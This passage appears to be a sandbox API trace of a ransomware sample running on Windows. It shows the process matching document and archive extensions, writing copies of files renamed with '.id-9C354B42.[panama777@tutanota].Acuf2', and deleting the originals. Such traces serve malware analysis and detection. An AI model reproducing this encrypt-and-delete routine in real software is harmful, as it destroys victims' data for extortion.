	[0037.040] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0037.040] WriteFile (in: hFile=0x16c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0037.041] SetEndOfFile (hFile=0x16c) returned 1
	[0037.041] CloseHandle (hObject=0x16c) returned 1
	[0037.042] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.042] SetEndOfFile (hFile=0x168) returned 1
	[0037.042] CloseHandle (hObject=0x168) returned 1
	[0037.043] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x26) returned 1
	[0037.043] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1
	[0037.043] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.043] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.043] lstrlenW (lpString=".doc") returned 4
	[0037.043] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0037.043] lstrlenW (lpString=".docx") returned 5
	[0037.043] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0037.043] lstrlenW (lpString=".pdf") returned 4
	[0037.043] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0037.043] lstrlenW (lpString=".xls") returned 4
	[0037.043] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0037.043] lstrlenW (lpString=".xlsx") returned 5
	[0037.043] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0037.043] lstrlenW (lpString=".ppt") returned 4
	[0037.044] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString=".zip") returned 4
	[0037.044] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString=".rar") returned 4
	[0037.044] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString=".bz2") returned 4
	[0037.044] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0037.044] lstrlenW (lpString=".7z") returned 3
	[0037.044] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString=".dbf") returned 4
	[0037.044] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString=".1cd") returned 4
	[0037.044] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString=".jpg") returned 4
	[0037.044] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.044] lstrlenW (lpString=".doc") returned 4
	[0037.044] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0037.044] lstrlenW (lpString=".docx") returned 5
	[0037.044] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0037.044] lstrlenW (lpString=".pdf") returned 4
	[0037.044] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString=".xls") returned 4
	[0037.044] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0037.044] lstrlenW (lpString=".xlsx") returned 5
	[0037.044] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0037.045] lstrlenW (lpString=".ppt") returned 4
	[0037.045] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0037.045] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.045] lstrlenW (lpString=".zip") returned 4
	[0037.045] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0037.045] lstrlenW (lpString=".rar") returned 4
	[0037.045] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0037.045] lstrlenW (lpString=".bz2") returned 4
	[0037.045] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0037.045] lstrlenW (lpString=".7z") returned 3
	[0037.045] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0037.045] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.045] lstrlenW (lpString=".dbf") returned 4
	[0037.045] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0037.045] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.045] lstrlenW (lpString=".1cd") returned 4
	[0037.045] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0037.045] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0037.045] lstrlenW (lpString=".jpg") returned 4
	[0037.045] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0037.045] lstrcmpiW (lpString1=".LOG", lpString2=".Acuf2") returned 1
	[0037.045] lstrlenW (lpString="BCD.LOG") returned 7
	[0037.045] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.045] lstrlenW (lpString=".doc") returned 4
	[0037.046] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0037.046] lstrlenW (lpString=".docx") returned 5
	[0037.046] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0037.046] lstrlenW (lpString=".pdf") returned 4
	[0037.046] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0037.046] lstrlenW (lpString=".xls") returned 4
	[0037.046] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0037.046] lstrlenW (lpString=".xlsx") returned 5
	[0037.046] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0037.046] lstrlenW (lpString=".ppt") returned 4
	[0037.046] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.046] lstrlenW (lpString=".zip") returned 4
	[0037.046] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0037.046] lstrlenW (lpString=".rar") returned 4
	[0037.046] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0037.046] lstrlenW (lpString=".bz2") returned 4
	[0037.046] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0037.046] lstrlenW (lpString=".7z") returned 3
	[0037.046] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.046] lstrlenW (lpString=".dbf") returned 4
	[0037.046] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.046] lstrlenW (lpString=".1cd") returned 4
	[0037.046] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.046] lstrlenW (lpString=".jpg") returned 4
	[0037.046] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.047] lstrlenW (lpString=".doc") returned 4
	[0037.047] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0037.047] lstrlenW (lpString=".docx") returned 5
	[0037.047] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0037.047] lstrlenW (lpString=".pdf") returned 4
	[0037.047] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0037.047] lstrlenW (lpString=".xls") returned 4
	[0037.047] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0037.047] lstrlenW (lpString=".xlsx") returned 5
	[0037.047] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0037.047] lstrlenW (lpString=".ppt") returned 4
	[0037.047] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0037.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.047] lstrlenW (lpString=".zip") returned 4
	[0037.047] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0037.047] lstrlenW (lpString=".rar") returned 4
	[0037.047] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0037.047] lstrlenW (lpString=".bz2") returned 4
	[0037.047] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0037.047] lstrlenW (lpString=".7z") returned 3
	[0037.047] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0037.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.047] lstrlenW (lpString=".dbf") returned 4
	[0037.047] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0037.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.047] lstrlenW (lpString=".1cd") returned 4
	[0037.047] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0037.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0037.047] lstrlenW (lpString=".jpg") returned 4
	[0037.047] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0037.048] lstrcmpiW (lpString1=".DAT", lpString2=".Acuf2") returned 1
	[0037.048] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0037.048] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0037.753] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=65536) returned 1
	[0037.753] CloseHandle (hObject=0x164) returned 1
	[0037.753] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0037.753] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.754] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0037.754] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.754] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.754] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.754] GetLastError () returned 0x0
	[0037.754] ReadFile (in: hFile=0x164, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x10000, lpOverlapped=0x0) returned 1
	[0037.757] WriteFile (in: hFile=0x168, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x10010, lpOverlapped=0x0) returned 1
	[0037.759] ReadFile (in: hFile=0x164, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0037.759] WriteFile (in: hFile=0x168, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0037.759] SetEndOfFile (hFile=0x168) returned 1
	[0037.759] CloseHandle (hObject=0x168) returned 1
	[0037.761] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.761] SetEndOfFile (hFile=0x164) returned 1
	[0037.762] CloseHandle (hObject=0x164) returned 1
	[0037.762] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x26) returned 1
	[0037.762] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString=".doc") returned 4
	[0037.763] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString=".docx") returned 5
	[0037.763] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0037.763] lstrlenW (lpString=".pdf") returned 4
	[0037.763] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString=".xls") returned 4
	[0037.763] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString=".xlsx") returned 5
	[0037.763] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0037.763] lstrlenW (lpString=".ppt") returned 4
	[0037.763] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString=".zip") returned 4
	[0037.763] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString=".rar") returned 4
	[0037.763] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString=".bz2") returned 4
	[0037.763] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0037.763] lstrlenW (lpString=".7z") returned 3
	[0037.763] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString=".dbf") returned 4
	[0037.763] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString=".1cd") returned 4
	[0037.763] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0037.763] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.763] lstrlenW (lpString=".jpg") returned 4
	[0037.763] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString=".doc") returned 4
	[0037.764] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString=".docx") returned 5
	[0037.764] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0037.764] lstrlenW (lpString=".pdf") returned 4
	[0037.764] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString=".xls") returned 4
	[0037.764] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString=".xlsx") returned 5
	[0037.764] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0037.764] lstrlenW (lpString=".ppt") returned 4
	[0037.764] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString=".zip") returned 4
	[0037.764] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString=".rar") returned 4
	[0037.764] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString=".bz2") returned 4
	[0037.764] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0037.764] lstrlenW (lpString=".7z") returned 3
	[0037.764] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString=".dbf") returned 4
	[0037.764] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString=".1cd") returned 4
	[0037.764] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0037.764] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0037.764] lstrlenW (lpString=".jpg") returned 4
	[0037.764] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0037.765] Sleep (dwMilliseconds=0x64) 
	[0038.000] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.000] lstrlenW (lpString="PowerPointMUI.xml") returned 17
	[0038.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.001] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1450) returned 1
	[0038.001] CloseHandle (hObject=0x178) returned 1
	[0038.001] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020
	[0038.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.002] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.002] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.002] GetLastError () returned 0x0
	[0038.002] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0038.004] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0038.005] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.005] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0038.005] SetEndOfFile (hFile=0x17c) returned 1
	[0038.005] CloseHandle (hObject=0x17c) returned 1
	[0038.006] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.006] SetEndOfFile (hFile=0x178) returned 1
	[0038.007] CloseHandle (hObject=0x178) returned 1
	[0038.007] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.007] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString=".doc") returned 4
	[0038.008] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString=".docx") returned 5
	[0038.008] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.008] lstrlenW (lpString=".pdf") returned 4
	[0038.008] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString=".xls") returned 4
	[0038.008] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString=".xlsx") returned 5
	[0038.008] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.008] lstrlenW (lpString=".ppt") returned 4
	[0038.008] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString=".zip") returned 4
	[0038.008] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.008] lstrlenW (lpString=".rar") returned 4
	[0038.008] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString=".bz2") returned 4
	[0038.008] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString=".7z") returned 3
	[0038.008] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString=".dbf") returned 4
	[0038.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString=".1cd") returned 4
	[0038.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.008] lstrlenW (lpString=".jpg") returned 4
	[0038.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString=".doc") returned 4
	[0038.009] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString=".docx") returned 5
	[0038.009] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.009] lstrlenW (lpString=".pdf") returned 4
	[0038.009] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString=".xls") returned 4
	[0038.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString=".xlsx") returned 5
	[0038.009] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.009] lstrlenW (lpString=".ppt") returned 4
	[0038.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString=".zip") returned 4
	[0038.009] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.009] lstrlenW (lpString=".rar") returned 4
	[0038.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString=".bz2") returned 4
